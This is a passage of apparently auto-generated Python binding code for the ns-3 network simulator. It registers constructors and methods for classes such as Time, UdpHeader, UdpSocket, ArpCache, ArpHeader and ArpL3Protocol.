## nstime.h (module 'core'): bool ns3::Time::IsStrictlyPositive() const [member function]
cls.add_method('IsStrictlyPositive',
'bool',
[],
is_const=True)
## nstime.h (module 'core'): bool ns3::Time::IsZero() const [member function]
cls.add_method('IsZero',
'bool',
[],
is_const=True)
## nstime.h (module 'core'): static void ns3::Time::SetResolution(ns3::Time::Unit resolution) [member function]
cls.add_method('SetResolution',
'void',
[param('ns3::Time::Unit', 'resolution')],
is_static=True)
## nstime.h (module 'core'): ns3::int64x64_t ns3::Time::To(ns3::Time::Unit timeUnit) const [member function]
cls.add_method('To',
'ns3::int64x64_t',
[param('ns3::Time::Unit', 'timeUnit')],
is_const=True)
## nstime.h (module 'core'): double ns3::Time::ToDouble(ns3::Time::Unit timeUnit) const [member function]
cls.add_method('ToDouble',
'double',
[param('ns3::Time::Unit', 'timeUnit')],
is_const=True)
## nstime.h (module 'core'): int64_t ns3::Time::ToInteger(ns3::Time::Unit timeUnit) const [member function]
cls.add_method('ToInteger',
'int64_t',
[param('ns3::Time::Unit', 'timeUnit')],
is_const=True)
return
def register_Ns3TraceSourceAccessor_methods(root_module, cls):
## trace-source-accessor.h (module 'core'): ns3::TraceSourceAccessor::TraceSourceAccessor(ns3::TraceSourceAccessor const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TraceSourceAccessor const &', 'arg0')])
## trace-source-accessor.h (module 'core'): ns3::TraceSourceAccessor::TraceSourceAccessor() [constructor]
cls.add_constructor([])
## trace-source-accessor.h (module 'core'): bool ns3::TraceSourceAccessor::Connect(ns3::ObjectBase * obj, std::string context, ns3::CallbackBase const & cb) const [member function]
cls.add_method('Connect',
'bool',
[param('ns3::ObjectBase *', 'obj', transfer_ownership=False), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## trace-source-accessor.h (module 'core'): bool ns3::TraceSourceAccessor::ConnectWithoutContext(ns3::ObjectBase * obj, ns3::CallbackBase const & cb) const [member function]
cls.add_method('ConnectWithoutContext',
'bool',
[param('ns3::ObjectBase *', 'obj', transfer_ownership=False), param('ns3::CallbackBase const &', 'cb')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## trace-source-accessor.h (module 'core'): bool ns3::TraceSourceAccessor::Disconnect(ns3::ObjectBase * obj, std::string context, ns3::CallbackBase const & cb) const [member function]
cls.add_method('Disconnect',
'bool',
[param('ns3::ObjectBase *', 'obj', transfer_ownership=False), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## trace-source-accessor.h (module 'core'): bool ns3::TraceSourceAccessor::DisconnectWithoutContext(ns3::ObjectBase * obj, ns3::CallbackBase const & cb) const [member function]
cls.add_method('DisconnectWithoutContext',
'bool',
[param('ns3::ObjectBase *', 'obj', transfer_ownership=False), param('ns3::CallbackBase const &', 'cb')],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3Trailer_methods(root_module, cls):
cls.add_output_stream_operator()
## trailer.h (module 'network'): ns3::Trailer::Trailer() [constructor]
cls.add_constructor([])
## trailer.h (module 'network'): ns3::Trailer::Trailer(ns3::Trailer const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Trailer const &', 'arg0')])
## trailer.h (module 'network'): uint32_t ns3::Trailer::Deserialize(ns3::Buffer::Iterator end) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'end')],
is_pure_virtual=True, is_virtual=True)
## trailer.h (module 'network'): uint32_t ns3::Trailer::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## trailer.h (module 'network'): static ns3::TypeId ns3::Trailer::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## trailer.h (module 'network'): void ns3::Trailer::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## trailer.h (module 'network'): void ns3::Trailer::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3UdpHeader_methods(root_module, cls):
## udp-header.h (module 'internet'): ns3::UdpHeader::UdpHeader(ns3::UdpHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::UdpHeader const &', 'arg0')])
## udp-header.h (module 'internet'): ns3::UdpHeader::UdpHeader() [constructor]
cls.add_constructor([])
## udp-header.h (module 'internet'): uint32_t ns3::UdpHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## udp-header.h (module 'internet'): void ns3::UdpHeader::EnableChecksums() [member function]
cls.add_method('EnableChecksums',
'void',
[])
## udp-header.h (module 'internet'): uint16_t ns3::UdpHeader::GetDestinationPort() const [member function]
cls.add_method('GetDestinationPort',
'uint16_t',
[],
is_const=True)
## udp-header.h (module 'internet'): ns3::TypeId ns3::UdpHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## udp-header.h (module 'internet'): uint32_t ns3::UdpHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## udp-header.h (module 'internet'): uint16_t ns3::UdpHeader::GetSourcePort() const [member function]
cls.add_method('GetSourcePort',
'uint16_t',
[],
is_const=True)
## udp-header.h (module 'internet'): static ns3::TypeId ns3::UdpHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## udp-header.h (module 'internet'): void ns3::UdpHeader::InitializeChecksum(ns3::Ipv4Address source, ns3::Ipv4Address destination, uint8_t protocol) [member function]
cls.add_method('InitializeChecksum',
'void',
[param('ns3::Ipv4Address', 'source'), param('ns3::Ipv4Address', 'destination'), param('uint8_t', 'protocol')])
## udp-header.h (module 'internet'): bool ns3::UdpHeader::IsChecksumOk() const [member function]
cls.add_method('IsChecksumOk',
'bool',
[],
is_const=True)
## udp-header.h (module 'internet'): void ns3::UdpHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## udp-header.h (module 'internet'): void ns3::UdpHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## udp-header.h (module 'internet'): void ns3::UdpHeader::SetDestinationPort(uint16_t port) [member function]
cls.add_method('SetDestinationPort',
'void',
[param('uint16_t', 'port')])
## udp-header.h (module 'internet'): void ns3::UdpHeader::SetSourcePort(uint16_t port) [member function]
cls.add_method('SetSourcePort',
'void',
[param('uint16_t', 'port')])
return
def register_Ns3UdpSocket_methods(root_module, cls):
## udp-socket.h (module 'internet'): ns3::UdpSocket::UdpSocket(ns3::UdpSocket const & arg0) [copy constructor]
cls.add_constructor([param('ns3::UdpSocket const &', 'arg0')])
## udp-socket.h (module 'internet'): ns3::UdpSocket::UdpSocket() [constructor]
cls.add_constructor([])
## udp-socket.h (module 'internet'): static ns3::TypeId ns3::UdpSocket::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## udp-socket.h (module 'internet'): int ns3::UdpSocket::MulticastJoinGroup(uint32_t interface, ns3::Address const & groupAddress) [member function]
cls.add_method('MulticastJoinGroup',
'int',
[param('uint32_t', 'interface'), param('ns3::Address const &', 'groupAddress')],
is_pure_virtual=True, is_virtual=True)
## udp-socket.h (module 'internet'): int ns3::UdpSocket::MulticastLeaveGroup(uint32_t interface, ns3::Address const & groupAddress) [member function]
cls.add_method('MulticastLeaveGroup',
'int',
[param('uint32_t', 'interface'), param('ns3::Address const &', 'groupAddress')],
is_pure_virtual=True, is_virtual=True)
## udp-socket.h (module 'internet'): int32_t ns3::UdpSocket::GetIpMulticastIf() const [member function]
cls.add_method('GetIpMulticastIf',
'int32_t',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## udp-socket.h (module 'internet'): bool ns3::UdpSocket::GetIpMulticastLoop() const [member function]
cls.add_method('GetIpMulticastLoop',
'bool',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## udp-socket.h (module 'internet'): uint8_t ns3::UdpSocket::GetIpMulticastTtl() const [member function]
cls.add_method('GetIpMulticastTtl',
'uint8_t',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## udp-socket.h (module 'internet'): uint8_t ns3::UdpSocket::GetIpTtl() const [member function]
cls.add_method('GetIpTtl',
'uint8_t',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## udp-socket.h (module 'internet'): bool ns3::UdpSocket::GetMtuDiscover() const [member function]
cls.add_method('GetMtuDiscover',
'bool',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## udp-socket.h (module 'internet'): uint32_t ns3::UdpSocket::GetRcvBufSize() const [member function]
cls.add_method('GetRcvBufSize',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True)
## udp-socket.h (module 'internet'): void ns3::UdpSocket::SetIpMulticastIf(int32_t ipIf) [member function]
cls.add_method('SetIpMulticastIf',
'void',
[param('int32_t', 'ipIf')],
is_pure_virtual=True, visibility='private', is_virtual=True)
## udp-socket.h (module 'internet'): void ns3::UdpSocket::SetIpMulticastLoop(bool loop) [member function]
cls.add_method('SetIpMulticastLoop',
'void',
[param('bool', 'loop')],
is_pure_virtual=True, visibility='private', is_virtual=True)
## udp-socket.h (module 'internet'): void ns3::UdpSocket::SetIpMulticastTtl(uint8_t ipTtl) [member function]
cls.add_method('SetIpMulticastTtl',
'void',
[param('uint8_t', 'ipTtl')],
is_pure_virtual=True, visibility='private', is_virtual=True)
## udp-socket.h (module 'internet'): void ns3::UdpSocket::SetIpTtl(uint8_t ipTtl) [member function]
cls.add_method('SetIpTtl',
'void',
[param('uint8_t', 'ipTtl')],
is_pure_virtual=True, visibility='private', is_virtual=True)
## udp-socket.h (module 'internet'): void ns3::UdpSocket::SetMtuDiscover(bool discover) [member function]
cls.add_method('SetMtuDiscover',
'void',
[param('bool', 'discover')],
is_pure_virtual=True, visibility='private', is_virtual=True)
## udp-socket.h (module 'internet'): void ns3::UdpSocket::SetRcvBufSize(uint32_t size) [member function]
cls.add_method('SetRcvBufSize',
'void',
[param('uint32_t', 'size')],
is_pure_virtual=True, visibility='private', is_virtual=True)
return
def register_Ns3UdpSocketFactory_methods(root_module, cls):
## udp-socket-factory.h (module 'internet'): ns3::UdpSocketFactory::UdpSocketFactory() [constructor]
cls.add_constructor([])
## udp-socket-factory.h (module 'internet'): ns3::UdpSocketFactory::UdpSocketFactory(ns3::UdpSocketFactory const & arg0) [copy constructor]
cls.add_constructor([param('ns3::UdpSocketFactory const &', 'arg0')])
## udp-socket-factory.h (module 'internet'): static ns3::TypeId ns3::UdpSocketFactory::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
return
def register_Ns3ArpCache_methods(root_module, cls):
## arp-cache.h (module 'internet'): ns3::ArpCache::ArpCache() [constructor]
cls.add_constructor([])
## arp-cache.h (module 'internet'): ns3::ArpCache::Entry * ns3::ArpCache::Add(ns3::Ipv4Address to) [member function]
cls.add_method('Add',
'ns3::ArpCache::Entry *',
[param('ns3::Ipv4Address', 'to')])
## arp-cache.h (module 'internet'): void ns3::ArpCache::Flush() [member function]
cls.add_method('Flush',
'void',
[])
## arp-cache.h (module 'internet'): ns3::Time ns3::ArpCache::GetAliveTimeout() const [member function]
cls.add_method('GetAliveTimeout',
'ns3::Time',
[],
is_const=True)
## arp-cache.h (module 'internet'): ns3::Time ns3::ArpCache::GetDeadTimeout() const [member function]
cls.add_method('GetDeadTimeout',
'ns3::Time',
[],
is_const=True)
## arp-cache.h (module 'internet'): ns3::Ptr<ns3::NetDevice> ns3::ArpCache::GetDevice() const [member function]
cls.add_method('GetDevice',
'ns3::Ptr< ns3::NetDevice >',
[],
is_const=True)
## arp-cache.h (module 'internet'): ns3::Ptr<ns3::Ipv4Interface> ns3::ArpCache::GetInterface() const [member function]
cls.add_method('GetInterface',
'ns3::Ptr< ns3::Ipv4Interface >',
[],
is_const=True)
## arp-cache.h (module 'internet'): static ns3::TypeId ns3::ArpCache::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## arp-cache.h (module 'internet'): ns3::Time ns3::ArpCache::GetWaitReplyTimeout() const [member function]
cls.add_method('GetWaitReplyTimeout',
'ns3::Time',
[],
is_const=True)
## arp-cache.h (module 'internet'): ns3::ArpCache::Entry * ns3::ArpCache::Lookup(ns3::Ipv4Address destination) [member function]
cls.add_method('Lookup',
'ns3::ArpCache::Entry *',
[param('ns3::Ipv4Address', 'destination')])
## arp-cache.h (module 'internet'): void ns3::ArpCache::SetAliveTimeout(ns3::Time aliveTimeout) [member function]
cls.add_method('SetAliveTimeout',
'void',
[param('ns3::Time', 'aliveTimeout')])
## arp-cache.h (module 'internet'): void ns3::ArpCache::SetArpRequestCallback(ns3::Callback<void, ns3::Ptr<ns3::ArpCache const>, ns3::Ipv4Address, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> arpRequestCallback) [member function]
cls.add_method('SetArpRequestCallback',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::ArpCache const >, ns3::Ipv4Address, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'arpRequestCallback')])
## arp-cache.h (module 'internet'): void ns3::ArpCache::SetDeadTimeout(ns3::Time deadTimeout) [member function]
cls.add_method('SetDeadTimeout',
'void',
[param('ns3::Time', 'deadTimeout')])
## arp-cache.h (module 'internet'): void ns3::ArpCache::SetDevice(ns3::Ptr<ns3::NetDevice> device, ns3::Ptr<ns3::Ipv4Interface> interface) [member function]
cls.add_method('SetDevice',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'device'), param('ns3::Ptr< ns3::Ipv4Interface >', 'interface')])
## arp-cache.h (module 'internet'): void ns3::ArpCache::SetWaitReplyTimeout(ns3::Time waitReplyTimeout) [member function]
cls.add_method('SetWaitReplyTimeout',
'void',
[param('ns3::Time', 'waitReplyTimeout')])
## arp-cache.h (module 'internet'): void ns3::ArpCache::StartWaitReplyTimer() [member function]
cls.add_method('StartWaitReplyTimer',
'void',
[])
## arp-cache.h (module 'internet'): void ns3::ArpCache::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3ArpCacheEntry_methods(root_module, cls):
## arp-cache.h (module 'internet'): ns3::ArpCache::Entry::Entry(ns3::ArpCache::Entry const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ArpCache::Entry const &', 'arg0')])
## arp-cache.h (module 'internet'): ns3::ArpCache::Entry::Entry(ns3::ArpCache * arp) [constructor]
cls.add_constructor([param('ns3::ArpCache *', 'arp')])
## arp-cache.h (module 'internet'): void ns3::ArpCache::Entry::ClearRetries() [member function]
cls.add_method('ClearRetries',
'void',
[])
## arp-cache.h (module 'internet'): ns3::Ptr<ns3::Packet> ns3::ArpCache::Entry::DequeuePending() [member function]
cls.add_method('DequeuePending',
'ns3::Ptr< ns3::Packet >',
[])
## arp-cache.h (module 'internet'): ns3::Ipv4Address ns3::ArpCache::Entry::GetIpv4Address() const [member function]
cls.add_method('GetIpv4Address',
'ns3::Ipv4Address',
[],
is_const=True)
## arp-cache.h (module 'internet'): ns3::Address ns3::ArpCache::Entry::GetMacAddress() const [member function]
cls.add_method('GetMacAddress',
'ns3::Address',
[],
is_const=True)
## arp-cache.h (module 'internet'): uint32_t ns3::ArpCache::Entry::GetRetries() const [member function]
cls.add_method('GetRetries',
'uint32_t',
[],
is_const=True)
## arp-cache.h (module 'internet'): void ns3::ArpCache::Entry::IncrementRetries() [member function]
cls.add_method('IncrementRetries',
'void',
[])
## arp-cache.h (module 'internet'): bool ns3::ArpCache::Entry::IsAlive() [member function]
cls.add_method('IsAlive',
'bool',
[])
## arp-cache.h (module 'internet'): bool ns3::ArpCache::Entry::IsDead() [member function]
cls.add_method('IsDead',
'bool',
[])
## arp-cache.h (module 'internet'): bool ns3::ArpCache::Entry::IsExpired() const [member function]
cls.add_method('IsExpired',
'bool',
[],
is_const=True)
## arp-cache.h (module 'internet'): bool ns3::ArpCache::Entry::IsWaitReply() [member function]
cls.add_method('IsWaitReply',
'bool',
[])
## arp-cache.h (module 'internet'): void ns3::ArpCache::Entry::MarkAlive(ns3::Address macAddress) [member function]
cls.add_method('MarkAlive',
'void',
[param('ns3::Address', 'macAddress')])
## arp-cache.h (module 'internet'): void ns3::ArpCache::Entry::MarkDead() [member function]
cls.add_method('MarkDead',
'void',
[])
## arp-cache.h (module 'internet'): void ns3::ArpCache::Entry::MarkWaitReply(ns3::Ptr<ns3::Packet> waiting) [member function]
cls.add_method('MarkWaitReply',
'void',
[param('ns3::Ptr< ns3::Packet >', 'waiting')])
## arp-cache.h (module 'internet'): void ns3::ArpCache::Entry::SetIpv4Address(ns3::Ipv4Address destination) [member function]
cls.add_method('SetIpv4Address',
'void',
[param('ns3::Ipv4Address', 'destination')])
## arp-cache.h (module 'internet'): bool ns3::ArpCache::Entry::UpdateWaitReply(ns3::Ptr<ns3::Packet> waiting) [member function]
cls.add_method('UpdateWaitReply',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'waiting')])
return
def register_Ns3ArpHeader_methods(root_module, cls):
## arp-header.h (module 'internet'): ns3::ArpHeader::ArpHeader() [constructor]
cls.add_constructor([])
## arp-header.h (module 'internet'): ns3::ArpHeader::ArpHeader(ns3::ArpHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ArpHeader const &', 'arg0')])
## arp-header.h (module 'internet'): uint32_t ns3::ArpHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## arp-header.h (module 'internet'): ns3::Address ns3::ArpHeader::GetDestinationHardwareAddress() [member function]
cls.add_method('GetDestinationHardwareAddress',
'ns3::Address',
[])
## arp-header.h (module 'internet'): ns3::Ipv4Address ns3::ArpHeader::GetDestinationIpv4Address() [member function]
cls.add_method('GetDestinationIpv4Address',
'ns3::Ipv4Address',
[])
## arp-header.h (module 'internet'): ns3::TypeId ns3::ArpHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## arp-header.h (module 'internet'): uint32_t ns3::ArpHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## arp-header.h (module 'internet'): ns3::Address ns3::ArpHeader::GetSourceHardwareAddress() [member function]
cls.add_method('GetSourceHardwareAddress',
'ns3::Address',
[])
## arp-header.h (module 'internet'): ns3::Ipv4Address ns3::ArpHeader::GetSourceIpv4Address() [member function]
cls.add_method('GetSourceIpv4Address',
'ns3::Ipv4Address',
[])
## arp-header.h (module 'internet'): static ns3::TypeId ns3::ArpHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## arp-header.h (module 'internet'): bool ns3::ArpHeader::IsReply() const [member function]
cls.add_method('IsReply',
'bool',
[],
is_const=True)
## arp-header.h (module 'internet'): bool ns3::ArpHeader::IsRequest() const [member function]
cls.add_method('IsRequest',
'bool',
[],
is_const=True)
## arp-header.h (module 'internet'): void ns3::ArpHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## arp-header.h (module 'internet'): void ns3::ArpHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## arp-header.h (module 'internet'): void ns3::ArpHeader::SetReply(ns3::Address sourceHardwareAddress, ns3::Ipv4Address sourceProtocolAddress, ns3::Address destinationHardwareAddress, ns3::Ipv4Address destinationProtocolAddress) [member function]
cls.add_method('SetReply',
'void',
[param('ns3::Address', 'sourceHardwareAddress'), param('ns3::Ipv4Address', 'sourceProtocolAddress'), param('ns3::Address', 'destinationHardwareAddress'), param('ns3::Ipv4Address', 'destinationProtocolAddress')])
## arp-header.h (module 'internet'): void ns3::ArpHeader::SetRequest(ns3::Address sourceHardwareAddress, ns3::Ipv4Address sourceProtocolAddress, ns3::Address destinationHardwareAddress, ns3::Ipv4Address destinationProtocolAddress) [member function]
cls.add_method('SetRequest',
'void',
[param('ns3::Address', 'sourceHardwareAddress'), param('ns3::Ipv4Address', 'sourceProtocolAddress'), param('ns3::Address', 'destinationHardwareAddress'), param('ns3::Ipv4Address', 'destinationProtocolAddress')])
## arp-header.h (module 'internet'): ns3::ArpHeader::m_ipv4Dest [variable]
cls.add_instance_attribute('m_ipv4Dest', 'ns3::Ipv4Address', is_const=False)
## arp-header.h (module 'internet'): ns3::ArpHeader::m_ipv4Source [variable]
cls.add_instance_attribute('m_ipv4Source', 'ns3::Ipv4Address', is_const=False)
## arp-header.h (module 'internet'): ns3::ArpHeader::m_macDest [variable]
cls.add_instance_attribute('m_macDest', 'ns3::Address', is_const=False)
## arp-header.h (module 'internet'): ns3::ArpHeader::m_macSource [variable]
cls.add_instance_attribute('m_macSource', 'ns3::Address', is_const=False)
## arp-header.h (module 'internet'): ns3::ArpHeader::m_type [variable]
cls.add_instance_attribute('m_type', 'uint16_t', is_const=False)
return
def register_Ns3ArpL3Protocol_methods(root_module, cls):
## arp-l3-protocol.h (module 'internet'): ns3::ArpL3Protocol::PROT_NUMBER [variable]
cls.add_static_attribute('PROT_NUMBER', 'uint16_t const', is_const=True)
## arp-l3-protocol.h (module 'internet'): static ns3::TypeId ns3::ArpL3Protocol::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## arp-l3-protocol.h (module 'internet'): ns3::ArpL3Protocol::ArpL3Protocol() [constructor]
cls.add_constructor([])
## arp-l3-protocol.h (module 'internet'): void ns3::ArpL3Protocol::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')])
## arp-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::ArpCache> ns3::ArpL3Protocol::CreateCache(ns3::Ptr<ns3::NetDevice> device, ns3::Ptr<ns3::Ipv4Interface> interface) [member function]
cls.add_method('CreateCache',
'ns3::Ptr< ns3::ArpCache >',
[param('ns3::Ptr< ns3::NetDevice >', 'device'), param('ns3::Ptr< ns3::Ipv4Interface >', 'interface')])
## arp-l3-protocol.h (module 'internet'): void ns3::ArpL3Protocol::Receive(ns3::Ptr<ns3::NetDevice> device, ns3::Ptr<const ns3::Packet> p, uint16_t protocol, ns3::Address const & from, ns3::Address const & to, ns3::NetDevice::PacketType packetType) [member function]
cls.add_method('Receive',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'device'), param('ns3::Ptr< ns3::Packet const >', 'p'), param('uint16_t', 'protocol'), param('ns3::Address const &', 'from'), param('ns3::Address const &', 'to'), param('ns3::NetDevice::PacketType', 'packetType')])
## arp-l3-protocol.h (module 'internet'): bool ns3::ArpL3Protocol::Lookup(ns3::Ptr<ns3::Packet> p, ns3::Ipv4Address destination, ns3::Ptr<ns3::NetDevice> device, ns3::Ptr<ns3::ArpCache> cache, ns3::Address * hardwareDestination) [member function]
cls.add_method('Lookup',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv4Address', 'destination'), param('ns3::Ptr< ns3::NetDevice >', 'device'), param('ns3::Ptr< ns3::ArpCache >', 'cache'), param('ns3::Address *', 'hardwareDestination')])
## arp-l3-protocol.h (module 'internet'): void ns3::ArpL3Protocol::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## arp-l3-protocol.h (module 'internet'): void ns3::ArpL3Protocol::NotifyNewAggregate() [member function]
cls.add_method('NotifyNewAggregate',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3AttributeAccessor_methods(root_module, cls):
## attribute.h (module 'core'): ns3::AttributeAccessor::AttributeAccessor(ns3::AttributeAccessor const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AttributeAccessor const &', 'arg0')])
## attribute.h (module 'core'): ns3::AttributeAccessor::AttributeAccessor() [constructor]
cls.add_constructor([])
## attribute.h (module 'core'): bool ns3::AttributeAccessor::Get(ns3::ObjectBase const * object, ns3::AttributeValue & attribute) const [member function]
cls.add_method('Get',
'bool',
[param('ns3::ObjectBase const *', 'object'), param('ns3::AttributeValue &', 'attribute')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## attribute.h (module 'core'): bool ns3::AttributeAccessor::HasGetter() const [member function]
cls.add_method('HasGetter',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## attribute.h (module 'core'): bool ns3::AttributeAccessor::HasSetter() const [member function]
cls.add_method('HasSetter',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## attribute.h (module 'core'): bool ns3::AttributeAccessor::Set(ns3::ObjectBase * object, ns3::AttributeValue const & value) const [member function]
cls.add_method('Set',
'bool',
[param('ns3::ObjectBase *', 'object', transfer_ownership=False), param('ns3::AttributeValue const &', 'value')],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3AttributeChecker_methods(root_module, cls):
## attribute.h (module 'core'): ns3::AttributeChecker::AttributeChecker(ns3::AttributeChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AttributeChecker const &', 'arg0')])
## attribute.h (module 'core'): ns3::AttributeChecker::AttributeChecker() [constructor]
cls.add_constructor([])
## attribute.h (module 'core'): bool ns3::AttributeChecker::Check(ns3::AttributeValue const & value) const [member function]
cls.add_method('Check',
'bool',
[param('ns3::AttributeValue const &', 'value')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## attribute.h (module 'core'): bool ns3::AttributeChecker::Copy(ns3::AttributeValue const & source, ns3::AttributeValue & destination) const [member function]
cls.add_method('Copy',
'bool',
[param('ns3::AttributeValue const &', 'source'), param('ns3::AttributeValue &', 'destination')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeChecker::Create() const [member function]
cls.add_method('Create',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeChecker::CreateValidValue(ns3::AttributeValue const & value) const [member function]
cls.add_method('CreateValidValue',
'ns3::Ptr< ns3::AttributeValue >',
[param('ns3::AttributeValue const &', 'value')],
is_const=True)
## attribute.h (module 'core'): std::string ns3::AttributeChecker::GetUnderlyingTypeInformation() const [member function]
cls.add_method('GetUnderlyingTypeInformation',
'std::string',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## attribute.h (module 'core'): std::string ns3::AttributeChecker::GetValueTypeName() const [member function]
cls.add_method('GetValueTypeName',
'std::string',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## attribute.h (module 'core'): bool ns3::AttributeChecker::HasUnderlyingTypeInformation() const [member function]
cls.add_method('HasUnderlyingTypeInformation',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3AttributeValue_methods(root_module, cls):
## attribute.h (module 'core'): ns3::AttributeValue::AttributeValue(ns3::AttributeValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AttributeValue const &', 'arg0')])
## attribute.h (module 'core'): ns3::AttributeValue::AttributeValue() [constructor]
cls.add_constructor([])
## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## attribute.h (module 'core'): bool ns3::AttributeValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_pure_virtual=True, is_virtual=True)
## attribute.h (module 'core'): std::string ns3::AttributeValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3CallbackChecker_methods(root_module, cls):
## callback.h (module 'core'): ns3::CallbackChecker::CallbackChecker() [constructor]
cls.add_constructor([])
## callback.h (module 'core'): ns3::CallbackChecker::CallbackChecker(ns3::CallbackChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::CallbackChecker const &', 'arg0')])
return
def register_Ns3CallbackImplBase_methods(root_module, cls):
## callback.h (module 'core'): ns3::CallbackImplBase::CallbackImplBase() [constructor]
cls.add_constructor([])
## callback.h (module 'core'): ns3::CallbackImplBase::CallbackImplBase(ns3::CallbackImplBase const & arg0) [copy constructor]
cls.add_constructor([param('ns3::CallbackImplBase const &', 'arg0')])
## callback.h (module 'core'): bool ns3::CallbackImplBase::IsEqual(ns3::Ptr<ns3::CallbackImplBase const> other) const [member function]
cls.add_method('IsEqual',
'bool',
